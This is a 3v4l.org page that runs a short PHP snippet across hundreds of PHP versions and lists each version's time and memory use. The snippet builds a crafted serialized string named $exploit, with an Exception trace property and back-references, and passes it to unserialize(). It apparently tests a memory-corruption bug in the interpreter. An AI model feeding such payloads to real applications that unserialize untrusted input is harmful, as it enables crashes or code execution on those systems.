3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";s:4:"test";}i:0;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01416.63
8.3.50.0090.00921.19
8.3.40.0110.00718.86
8.3.30.0040.01118.76
8.3.20.0000.00720.29
8.3.10.0050.00323.51
8.3.00.0080.00019.80
8.2.180.0060.00918.29
8.2.170.0070.00722.96
8.2.160.0000.01320.40
8.2.150.0000.00824.18
8.2.140.0070.00024.66
8.2.130.0080.00026.16
8.2.120.0040.00417.63
8.2.110.0000.00921.93
8.2.100.0120.00017.63
8.2.90.0000.00719.05
8.2.80.0030.00617.97
8.2.70.0000.00817.63
8.2.60.0070.00317.55
8.2.50.0000.00918.07
8.2.40.0050.00319.16
8.2.30.0030.00718.07
8.2.20.0000.00817.59
8.2.10.0040.00418.07
8.2.00.0050.00318.14
8.1.280.0090.00625.92
8.1.270.0080.01220.27
8.1.260.0000.00826.35
8.1.250.0050.00328.09
8.1.240.0000.00922.52
8.1.230.0080.00417.48
8.1.220.0080.00017.74
8.1.210.0000.00818.77
8.1.200.0040.00417.35
8.1.190.0040.00417.23
8.1.180.0080.00018.10
8.1.170.0030.00618.51
8.1.160.0000.00721.93
8.1.150.0000.00818.90
8.1.140.0060.00317.42
8.1.130.0050.00217.66
8.1.120.0040.00417.39
8.1.110.0000.00717.41
8.1.100.0040.00417.30
8.1.90.0000.00817.33
8.1.80.0000.00817.31
8.1.70.0000.00717.33
8.1.60.0050.00317.45
8.1.50.0030.00617.57
8.1.40.0030.00617.50
8.1.30.0040.00417.67
8.1.20.0030.00617.68
8.1.10.0030.00617.54
8.1.00.0040.00417.51
8.0.300.0070.00018.77
8.0.290.0000.00716.75
8.0.280.0030.00318.35
8.0.270.0070.00017.27
8.0.260.0000.01017.23
8.0.250.0070.00016.88
8.0.240.0000.00717.02
8.0.230.0030.00317.01
8.0.220.0040.00416.93
8.0.210.0020.00516.89
8.0.200.0000.00616.87
8.0.190.0040.00416.98
8.0.180.0060.00316.96
8.0.170.0000.00716.82
8.0.160.0040.00416.91
8.0.150.0000.00716.87
8.0.140.0040.00316.91
8.0.130.0030.00313.31
8.0.120.0040.00416.89
8.0.110.0040.00416.91
8.0.100.0000.00816.79
8.0.90.0070.00016.96
8.0.80.0110.00716.89
8.0.70.0000.00716.99
8.0.60.0040.00416.87
8.0.50.0050.00216.98
8.0.30.0070.00916.90
8.0.20.0120.01017.40
8.0.10.0000.00816.90
8.0.00.0080.01116.78
7.4.330.0000.00515.08
7.4.320.0060.00016.48
7.4.300.0030.00316.59
7.4.290.0030.00316.42
7.4.280.0050.00316.44
7.4.270.0070.00016.62
7.4.260.0040.00416.51
7.4.250.0040.00416.52
7.4.240.0020.00616.55
7.4.230.0000.00716.74
7.4.220.0110.00716.66
7.4.210.0070.00716.63
7.4.200.0000.00716.40
7.4.160.0170.00316.41
7.4.150.0120.00617.40
7.4.140.0080.01017.86
7.4.130.0090.00916.60
7.4.120.0110.00816.53
7.4.110.0120.00616.36
7.4.100.0110.01116.74
7.4.90.0170.00016.60
7.4.80.0100.00619.39
7.4.70.0090.01016.68
7.4.60.0100.00716.51
7.4.50.0040.00416.60
7.4.40.0080.00816.64
7.4.30.0060.01216.49
7.4.10.0040.01115.17
7.4.00.0080.00915.04
7.3.330.0030.00313.35
7.3.320.0030.00313.25
7.3.310.0040.00416.41
7.3.300.0030.00316.32
7.3.290.0090.00716.36
7.3.280.0040.01216.38
7.3.270.0140.00717.40
7.3.260.0000.01616.36
7.3.250.0110.00916.45
7.3.240.0060.01016.67
7.3.230.0090.00916.39
7.3.210.0130.00516.44
7.3.200.0040.01316.45
7.3.190.0070.01016.52
7.3.180.0000.01916.62
7.3.170.0030.01316.40
7.3.160.0120.00916.66
7.3.130.0120.00914.94
7.3.120.0050.01214.83
7.3.110.0110.00514.87
7.3.100.0050.00814.93
7.3.90.0080.00515.08
7.3.80.0030.01114.92
7.3.70.0060.00814.89
7.3.60.0030.01014.88
7.3.50.0050.00714.96
7.3.40.0030.01014.92
7.3.30.0050.00814.75
7.3.20.0070.00716.55
7.3.10.0080.00416.65
7.3.00.0030.01016.58
7.2.330.0090.00916.74
7.2.320.0070.01016.61
7.2.310.0090.00916.58
7.2.300.0060.01016.68
7.2.290.0070.01016.54
7.2.260.0090.00914.99
7.2.250.0040.01515.16
7.2.240.0080.00614.94
7.2.230.0040.01114.81
7.2.220.0050.00715.00
7.2.210.0080.00614.80
7.2.200.0070.00715.14
7.2.190.0030.01414.90
7.2.180.0050.00715.09
7.2.170.0060.00914.96
7.2.160.0090.00614.95
7.2.150.0040.00816.94
7.2.140.0030.00617.05
7.2.130.0000.01416.68
7.2.120.0030.01016.86
7.2.110.0070.00716.61
7.2.100.0030.00816.77
7.2.90.0090.00616.82
7.2.80.0090.00516.67
7.2.70.0040.00716.97
7.2.60.0070.01016.95
7.2.50.0030.01316.99
7.2.40.0070.00716.89
7.2.30.0030.01016.71
7.2.20.0090.00616.91
7.2.10.0060.01016.70
7.2.00.0090.00518.28
7.1.330.0070.00715.88
7.1.320.0010.00915.85
7.1.310.0020.01115.78
7.1.300.0080.00715.55
7.1.290.0080.00515.61
7.1.280.0050.01015.80
7.1.270.0080.00715.82
7.1.260.0040.00815.74
7.1.250.0090.00315.86
7.1.240.0080.00515.84
7.1.230.0090.00315.97
7.1.220.0050.00515.82
7.1.210.0050.00915.91
7.1.200.0090.00515.92
7.1.190.0060.00615.97
7.1.180.0070.00715.94
7.1.170.0110.00415.71
7.1.160.0030.00915.79
7.1.150.0030.00615.94
7.1.140.0100.00015.96
7.1.130.0030.01015.94
7.1.120.0000.00915.94
7.1.110.0100.00715.66
7.1.100.0020.01216.77
7.1.90.0130.00315.59
7.1.80.0120.00315.93
7.1.70.0070.00416.47
7.1.60.0030.01017.62
7.1.50.0070.00716.38
7.1.40.0130.00015.62
7.1.30.0100.00015.89
7.1.20.0060.00915.76
7.1.10.0110.00015.98
7.1.00.0050.04219.05
7.0.330.0060.00615.50
7.0.320.0070.00715.45
7.0.310.0070.00715.40
7.0.300.0110.00015.18
7.0.290.0030.00915.20
7.0.280.0030.00515.46
7.0.270.0060.00315.53
7.0.260.0050.00515.46
7.0.250.0040.00815.20
7.0.240.0040.01415.43
7.0.230.0130.00315.45
7.0.220.0040.00815.58
7.0.210.0070.00415.58
7.0.200.0110.00415.95
7.0.190.0030.00615.47
7.0.180.0030.01015.56
7.0.170.0100.00315.39
7.0.160.0030.00615.36
7.0.150.0000.01215.53
7.0.140.0070.00615.30
7.0.130.0030.01215.60
7.0.120.0000.01015.43
7.0.110.0080.00815.49
7.0.100.0120.00315.20
7.0.90.0040.00415.46
7.0.80.0000.01315.44
7.0.70.0030.01015.63
7.0.60.0070.04017.59
7.0.50.0080.04016.62
7.0.40.0070.04716.76
7.0.30.0280.03716.77
7.0.20.0120.04516.85
7.0.10.0090.03916.92
7.0.00.0100.02516.86
5.6.400.0030.01013.93
5.6.390.0040.01114.61
5.6.380.0040.01114.34
5.6.370.0080.00314.66
5.6.360.0050.00514.67
5.6.350.0000.01314.32
5.6.340.0090.00314.20
5.6.330.0030.01014.06
5.6.320.0000.01114.30
5.6.310.0060.00614.60
5.6.300.0100.00714.44
5.6.290.0060.01214.54
5.6.280.0050.03417.59
5.6.270.0120.00014.36
5.6.260.0030.01314.64
5.6.250.0070.00714.30
5.6.240.0100.00014.18
5.6.230.0030.01014.35
5.6.220.0040.00714.51
5.6.210.0080.02317.58
5.6.200.0060.03016.46
5.6.190.0080.04817.37
5.6.180.0230.03917.62
5.6.170.0150.04317.43
5.6.160.0090.04217.41
5.6.150.0110.03816.33
5.6.140.0030.02716.24
5.6.130.0040.03116.32
5.6.120.0070.02417.88
5.6.110.0040.02517.63
5.6.100.0060.04517.69
5.6.90.0040.04217.81
5.6.80.0050.04117.28
5.6.70.2270.02417.48
5.6.60.0030.00714.56
5.6.50.0040.00814.40
5.6.40.0070.00714.43
5.6.30.0060.00614.46
5.6.20.0050.00314.37
5.6.10.0000.01414.42
5.6.00.0070.00314.42
5.5.380.0040.00813.92
5.5.370.0100.00714.19
5.5.360.0030.00914.23
5.5.350.0080.03517.39
5.5.340.0060.04716.20
5.5.330.0090.02317.39
5.5.320.0220.04117.41
5.5.310.0120.03717.36
5.5.300.0050.02216.25
5.5.290.0050.03516.03
5.5.280.0110.03817.70
5.5.270.0070.04617.49
5.5.260.0120.02417.60
5.5.250.0090.04317.45
5.5.240.0090.03717.30
5.5.230.0030.00814.38
5.5.220.0090.00414.39
5.5.210.0050.01114.59
5.5.200.0090.00314.39
5.5.190.0030.00914.19
5.5.180.0070.00714.48
5.5.170.0070.00314.52
5.5.160.0130.00314.13
5.5.150.0070.01014.47
5.5.140.0030.00914.29
5.5.130.0060.00914.36
5.5.120.0080.00314.28
5.5.110.0070.00314.42
5.5.100.0080.00414.05
5.5.90.0040.00813.92
5.5.80.0070.00314.52
5.5.70.0060.01014.36
5.5.60.0060.01113.93
5.5.50.0060.00914.53
5.5.40.0070.01114.39
5.5.30.0040.00814.01
5.5.20.0000.01814.58
5.5.10.0040.01114.34
5.5.00.0110.00714.46
5.4.450.0070.02715.47
5.4.440.0080.02415.35
5.4.430.0130.02015.51
5.4.420.0090.02315.52
5.4.410.0120.02215.43
5.4.400.0170.01715.23
5.4.390.0100.02515.32
5.4.380.0120.01915.34
5.4.370.0140.02215.22
5.4.360.0110.02315.20
5.4.350.0130.02215.36
5.4.340.0080.02615.22
5.4.330.0070.00311.50
5.4.320.0050.02015.31
5.4.310.0100.02515.19
5.4.300.0080.02415.37
5.4.290.0070.02515.35
5.4.280.0030.02815.37
5.4.270.0100.02515.24
5.4.260.0140.01815.35
5.4.250.0120.02215.35
5.4.240.0080.02215.29
5.4.230.0080.02315.24
5.4.220.0180.02315.37
5.4.210.0140.02215.33
5.4.200.0110.02115.33
5.4.190.0140.02015.22
5.4.180.0120.02115.34
5.4.170.0150.02015.23
5.4.160.0090.02115.28
5.4.150.0050.02815.31
5.4.140.0100.02013.93
5.4.130.0150.01513.92
5.4.120.0120.02313.93
5.4.110.0090.02114.02
5.4.100.0100.02114.02
5.4.90.0110.02014.02
5.4.80.0070.02813.97
5.4.70.0030.00611.50
5.4.60.0040.00811.50
5.4.50.0040.00711.50
5.4.40.0030.00911.50
5.4.30.0040.00411.50
5.4.20.0070.00311.50
5.4.10.0070.00311.50
5.4.00.0000.01111.50

preferences:
37.45 ms | 401 KiB | 5 Q